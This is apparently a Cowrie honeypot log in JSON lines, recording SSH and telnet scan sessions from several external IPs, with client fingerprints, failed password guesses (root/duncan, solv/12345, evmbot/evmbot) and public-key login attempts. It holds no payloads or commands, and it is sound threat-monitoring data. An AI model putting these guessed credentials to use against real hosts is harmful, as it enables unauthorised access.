{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:04:12.285326Z","src_ip":"95.215.32.13","session":"2a093fb1faf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"duncan","message":"login attempt [root/duncan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:04:12.298788Z","src_ip":"95.215.32.13","session":"2a093fb1faf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:04:13.308389Z","src_ip":"95.215.32.13","session":"2a093fb1faf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54936,"dst_ip":"10.17.0.5","dst_port":22,"session":"c51b198cd0af","protocol":"ssh","message":"New connection: 80.94.92.184:54936 (10.17.0.5:22) [session: c51b198cd0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:00.183824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:00.306817Z","src_ip":"80.94.92.184","session":"c51b198cd0af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:00.437053Z","src_ip":"80.94.92.184","session":"c51b198cd0af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:01.598363Z","src_ip":"80.94.92.184","session":"c51b198cd0af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:02.801707Z","src_ip":"80.94.92.184","session":"c51b198cd0af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.101","src_port":57748,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc8073c65e1","protocol":"ssh","message":"New connection: 198.235.24.101:57748 (10.17.0.5:22) [session: 2cc8073c65e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:07.499744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:08.541814Z","src_ip":"198.235.24.101","session":"2cc8073c65e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:09.631550Z","src_ip":"198.235.24.101","session":"2cc8073c65e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:16.829969Z","src_ip":"198.235.24.101","session":"2cc8073c65e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53972,"dst_ip":"159.203.135.109","dst_port":22,"session":"42d03a0df3b3","protocol":"ssh","message":"New connection: 2.57.122.208:53972 (159.203.135.109:22) [session: 42d03a0df3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:58.252065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:58.422712Z","src_ip":"2.57.122.208","session":"42d03a0df3b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:58.620824Z","src_ip":"2.57.122.208","session":"42d03a0df3b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:05:59.422316Z","src_ip":"2.57.122.208","session":"42d03a0df3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:06:00.750842Z","src_ip":"2.57.122.208","session":"42d03a0df3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":42422,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d7a219e3677","protocol":"telnet","message":"New connection: 199.103.57.63:42422 (159.203.135.109:23) [session: 5d7a219e3677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:06:10.463691Z"}
{"eventid":"cowrie.session.closed","duration":36.012210845947266,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:06:46.475817Z","src_ip":"199.103.57.63","session":"5d7a219e3677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57782,"dst_ip":"10.17.0.5","dst_port":22,"session":"f37fe7f2af74","protocol":"ssh","message":"New connection: 80.94.92.184:57782 (10.17.0.5:22) [session: f37fe7f2af74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:04.484029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:04.508351Z","src_ip":"80.94.92.184","session":"f37fe7f2af74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:04.618037Z","src_ip":"80.94.92.184","session":"f37fe7f2af74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:05.257873Z","src_ip":"80.94.92.184","session":"f37fe7f2af74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:06.425926Z","src_ip":"80.94.92.184","session":"f37fe7f2af74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.95.10.204","src_port":18514,"dst_ip":"10.17.0.5","dst_port":22,"session":"50456a6a1fca","protocol":"ssh","message":"New connection: 192.95.10.204:18514 (10.17.0.5:22) [session: 50456a6a1fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.184335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.189872Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.212456Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:40:57:65:a3:e2:26:3c:ca:02:0e:38:03:be:e3:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClhhg7p6PVTOcBUp9qI8+zwlCKHNXRi3Udb8UkOS2eHD/juQaixTDlynSI+G5krLmmPZ7l74d/tP2wU0j+/an6i+WWhJ9zsQxG90vMqwKsKRyCb2WS+srLWzKFw8O0k4Ah4jtUhwYDRXv2S1EdBMC7nHRRihMKvzkT3sj1WUTaoAWg+K2QYQ7V5nff+joBQEVEHN8lnPQToTMlRldbDGYuNOkcmvycuXGXFJfHsiehZKw8ol4jmnH/QE+Rtezfh0lPEj1tEZHmuPfC8Co9Kpjr/+EJby6+Vp4ih7YMvsH3YaRNBYEX4/7o0cMfSfw7BNMjCgjEZUVPIwOuvMS4rPN3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:40:57:65:a3:e2:26:3c:ca:02:0e:38:03:be:e3:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.293536Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:40:57:65:a3:e2:26:3c:ca:02:0e:38:03:be:e3:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClhhg7p6PVTOcBUp9qI8+zwlCKHNXRi3Udb8UkOS2eHD/juQaixTDlynSI+G5krLmmPZ7l74d/tP2wU0j+/an6i+WWhJ9zsQxG90vMqwKsKRyCb2WS+srLWzKFw8O0k4Ah4jtUhwYDRXv2S1EdBMC7nHRRihMKvzkT3sj1WUTaoAWg+K2QYQ7V5nff+joBQEVEHN8lnPQToTMlRldbDGYuNOkcmvycuXGXFJfHsiehZKw8ol4jmnH/QE+Rtezfh0lPEj1tEZHmuPfC8Co9Kpjr/+EJby6+Vp4ih7YMvsH3YaRNBYEX4/7o0cMfSfw7BNMjCgjEZUVPIwOuvMS4rPN3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.297584Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:5d:6e:26:bc:aa:6d:8e:46:19:e0:1f:dd:91:35:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiOSSILKr5UVWEXzT/w21Tsen1E/iEAG5l1qIYdAIaRguGn9Cdw5omx+lPywHQcLe0Xc9+izi61hKCAs2X3+LYUlhT2giGkZd/KYa/P+RVB/BQLJKYj/VaLf9TYxOEyvzU/LCs2FNP33Nu/hUJCA0lmz2o4L8vXGGPy4RdFt/8Ehg1dQ/rPgIG1ZspxsErqO+nPsocV5pIKq4h4c779VxVCwDxhMKcAXjr0Q6IKsVpfigB26K2qFXleVOT6x6tlQfijhwTLA9Jvy3foGKX0QO4bECt3VgUGLe3uhClDXUWf1afcno05y0sruJqPOPanzcxkoI0volkx/reyePbumwD81akpzXuVbNZJiEAuBwAigTnCy9QvLmHVWSoc/MNoDOvPmc3IM61sg+KWQZ9Ba7JG2lJQRP+zbtT1sLJyx/wuTmIx3LnmrOCoM6V4APbODydb8FmqHSrYM8VznMDXmeh2KM8tgW5CQ1FVOg+t8qVzg8F6Z4O8UzobPguUrgUOupcoqDCDzCT/+44ZOgZwitOLRtQdZgz7QEmJqztFjNJGl+PZehTrdBJjy1ILZ+dPQ0eWtyjRf+umktuJQd5DYAQ3JjzEJa/NfoLg0VVWK0P5C9yadaZicX6o7CORTp1AavSg2tOg5Up597lJrMF6XMlw5mO8phJE4DrDwpGEq6ceQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:5d:6e:26:bc:aa:6d:8e:46:19:e0:1f:dd:91:35:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.320000Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:5d:6e:26:bc:aa:6d:8e:46:19:e0:1f:dd:91:35:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiOSSILKr5UVWEXzT/w21Tsen1E/iEAG5l1qIYdAIaRguGn9Cdw5omx+lPywHQcLe0Xc9+izi61hKCAs2X3+LYUlhT2giGkZd/KYa/P+RVB/BQLJKYj/VaLf9TYxOEyvzU/LCs2FNP33Nu/hUJCA0lmz2o4L8vXGGPy4RdFt/8Ehg1dQ/rPgIG1ZspxsErqO+nPsocV5pIKq4h4c779VxVCwDxhMKcAXjr0Q6IKsVpfigB26K2qFXleVOT6x6tlQfijhwTLA9Jvy3foGKX0QO4bECt3VgUGLe3uhClDXUWf1afcno05y0sruJqPOPanzcxkoI0volkx/reyePbumwD81akpzXuVbNZJiEAuBwAigTnCy9QvLmHVWSoc/MNoDOvPmc3IM61sg+KWQZ9Ba7JG2lJQRP+zbtT1sLJyx/wuTmIx3LnmrOCoM6V4APbODydb8FmqHSrYM8VznMDXmeh2KM8tgW5CQ1FVOg+t8qVzg8F6Z4O8UzobPguUrgUOupcoqDCDzCT/+44ZOgZwitOLRtQdZgz7QEmJqztFjNJGl+PZehTrdBJjy1ILZ+dPQ0eWtyjRf+umktuJQd5DYAQ3JjzEJa/NfoLg0VVWK0P5C9yadaZicX6o7CORTp1AavSg2tOg5Up597lJrMF6XMlw5mO8phJE4DrDwpGEq6ceQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.325457Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:34:b8:af:52:b8:eb:a9:b4:bb:de:a7:1d:4c:b9:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAAqKZ6sQB5qdY78FT5VIaDQo3UBN75IBsMA4YCDOUOiG1fA+vjdJm2+8kgarlVAmaAsZzK/V23FohQcDuFa3RsTRfgkHq0IigNUr1d3J2nvcx9O+DmvkAAUJGYkCG1RFwRGN61aog9j0TV051NckVNzrlGpO1rfLhzhN3i4YSZltOICYkKfwRPoSVingjybkWFazViSzBj6VUHQciQ6TkL4YKdSSZbJwWei3JdIFnf77Gnm+jr/pz4bOQNxnjFAvGgZl4Ba1ojHJC7gF+/o6TdlrTlft/HsYRSLl5T7x0qTWCaHGOGYoKiJS/6CUJR3GAEb8Af9FRMpaib0n4eYh70FgRIng4E6ZVxtwRqRG598OY5+xVqRuWnYmobCL+GEvrENg4wD3DSAinuMldx8kGG4yc2Gz5I23XjYvZgEZsOX++NQOGhVWrdmP/bpc+1rqJKzTSPoqFWs90BkITXqyQt9rk5V1rf2SbHT57lzCQ2oYC2dBc/Raq1bDm5TbBH1UFX1DpHzfB4ZBNQVXJiUKSew0VmvVHmyuQ403Xm0wVUtaeG9FMBpwDKoHq/fNSgS66+Qq1PKZNTlboFHv1gaYWUCZZ1WhVZC5CUvBog2DhtxGMSMtLedeLSgAZDb6RYVdCvP20uc3OL2ChPxWErfiPrSNa4NNNfrPhAcRpBdtR6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:34:b8:af:52:b8:eb:a9:b4:bb:de:a7:1d:4c:b9:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.348526Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
